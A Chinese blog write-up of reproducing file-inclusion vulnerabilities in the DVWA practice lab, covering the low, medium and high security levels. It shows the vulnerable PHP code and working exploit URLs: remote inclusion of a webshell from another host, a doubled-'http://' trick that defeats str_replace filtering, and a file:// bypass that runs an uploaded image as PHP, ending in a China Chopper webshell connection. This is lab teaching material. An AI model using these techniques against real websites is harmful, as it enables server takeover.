zoukankan      html  css  js  c++  java
  • 文件包含漏洞(DVWA环境中复现)

    LOW:

    源代码:

    <?php
    // The page we wish to display
    $file = $_GET[ 'page' ];
    ?>

    可以看到,low级别的代码对包含的文件没有进行任何的过滤!这导致我们可以进行包含任意的文件。

    当我们包含一个不存在的文件 haha.php ,看看会发生什么情况!

    http://127.0.0.1/vulnerabilities/fi/?page=haha.php

    可以看到,发生了报错,并且把网站的路径都给暴露出来了。

     

    第一行的那个Warning就是找不到我们指定的haha.php文件,也就是包含不到我们指定的文件,所以Warning。

    而第二行的警告是因为前面没有找到指定文件,所以包含的时候就出警告了。 

    我们可以试下是否存在远端包含,在云端搭了一个一句话木马,然后包含该文件看看:

    http://127.0.0.1/vulnerabilities/fi/?page=http://192.168.10.139/xie.php

    结果发现成功包含了远端的文件。

    那么我们就可以利用中国菜刀进行连接了。

     

    Medium:

    源代码:

    <?php
    // The page we wish to display
    $file = $_GET[ 'page' ];
    // Input validation
    $file = str_replace( array( "http://", "https://" ), "", $file );
    $file = str_replace( array( "../", ".."" ), "", $file );
    ?>

    可以看到,代码使用 str_replace函数 对http:// 和 https://进行了过滤,防止了远程包含漏洞的产生,也过滤了 ../ 和 .. 防止了进行目录切换的包含。

    但是使用 str_replace 函数进行过滤是很不安全的,因为可以使用双写绕过。例如,我们包含 hthttp://tp://xx 时,str_replace 函数只会过滤一个 http://  ,所以最终还是会包含到 http://xx 

    所以,我们可以试试访问该链接 http://127.0.0.1/vulnerabilities/fi/?page=hthttp://tp://192.168.10.139/xie.php

    结果成功包含了远端的文件,所以我们就可以用一句话木马连接了。

    High

    源代码:

    <?php
    // The page we wish to display
    $file = $_GET[ 'page' ];
    // Input validation
    if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
        // This isn't the page we want!
        echo "ERROR: File not found!";
        exit;
    }
    ?>

    high级别的代码对包含的文件名进行了限制,必须为 file* 或者 include.php ,否则会提示Error:File not  found。

    于是,我们可以利用 file 协议进行绕过。file协议我们其实并不陌生,当我们用浏览器打开一个本地的文件时

    所以我们可以利用file协议进行包含本地的文件。

    当我们想包含一句话木马时,必须配合文件上传漏洞,先把一句话木马上传到服务器端,然后再文件包含,用菜刀连接。

    我们先把包含一句话木马的图片利用文件上传漏洞上传到服务器端,然后利用文件包含漏洞和file协议包含该漏洞

    所以,当我们访问该链接时

    http://127.0.0.1/vulnerabilities/fi/?page=file:///D:/PhpStudy/PHPTutorial/WWW/DVWA/hackable/uploads/1.jpg

    可以看到,成功包含了我们上次的一句话木马图片,把该图片当成php文件执行了

     

    然后,我们就可以利用该链接用中国菜刀进行连接了。 

    因为这个网站是要登录的,所以我们在菜刀中右键,然后浏览网站,然后登录就可以在菜刀中保持我们的session。然后就可以获取Webshell了。

  • 相关阅读:
    2020年“安洵杯”四川省大学生信息安全技术大赛 Misc WP
    整数划分问题
    二叉树根节点到叶子节点的所有路径和
    java正则表达式
    搜狗笔试
    跟谁学0923笔试
    360 笔试0926
    度小满0920
    TreeMap 常用函数
    达达0920
  • 原文地址:https://www.cnblogs.com/-chenxs/p/11491993.html
Copyright © 2011-2022 走看看